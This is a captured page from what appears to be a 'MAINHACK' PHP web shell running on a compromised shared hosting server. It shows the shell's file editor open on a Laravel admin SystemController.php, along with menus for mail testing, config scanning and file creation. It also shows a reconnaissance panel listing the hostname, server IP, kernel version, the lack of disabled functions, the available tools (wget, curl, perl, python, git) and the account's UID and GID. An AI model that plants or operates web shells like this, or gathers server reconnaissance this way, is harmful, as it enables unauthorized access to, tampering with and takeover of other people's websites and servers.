[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SystemController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Models\BusinessSetting; use Brian2694\Toastr\Facades\Toastr; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Storage; use App\CentralLogics\Helpers; class SystemController extends Controller { public function restaurant_data() { $new_order = DB::table('orders')->where(['checked' => 0])->count(); return response()->json([ 'success' => 1, 'data' => ['new_order' => $new_order] ]); } public function settings() { return view('admin-views.settings'); } public function settings_update(Request $request) { $request->validate([ 'f_name' => 'required', 'l_name' => 'required', 'email' => 'required', 'phone' => 'required', ], [ 'f_name.required' => 'First name is required!', 'l_name.required' => 'Last name is required!', ]); $admin = Admin::find(auth('admin')->id()); if ($request->has('image')) { $image_name =Helpers::update('admin/', $admin->image, 'png', $request->file('image')); } else { $image_name = $admin['image']; } $admin->f_name = $request->f_name; $admin->l_name = $request->l_name; $admin->email = $request->email; $admin->phone = $request->phone; $admin->image = $image_name; $admin->save(); Toastr::success(trans('messages.admin_updated_successfully')); return back(); } public function settings_password_update(Request $request) { $request->validate([ 'password' => 'required|same:confirm_password', 'confirm_password' => 'required', ]); $admin = Admin::find(auth('admin')->id()); $admin->password = bcrypt($request['password']); $admin->save(); Toastr::success(trans('messages.admin_password_updated_successfully')); return back(); } public function maintenance_mode() { $maintenance_mode = BusinessSetting::where('key', 'maintenance_mode')->first(); if (isset($maintenance_mode) == false) { DB::table('business_settings')->insert([ 'key' => 'maintenance_mode', 'value' => 1, 'created_at' => now(), 'updated_at' => now(), ]); } else { DB::table('business_settings')->where(['key' => 'maintenance_mode'])->update([ 'key' => 'maintenance_mode', 'value' => $maintenance_mode->value == 1 ? 0 : 1, 'updated_at' => now(), ]); } if (isset($maintenance_mode) && $maintenance_mode->value){ return response()->json(['message'=>'Maintenance is off.']); } return response()->json(['message'=>'Maintenance is on.']); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624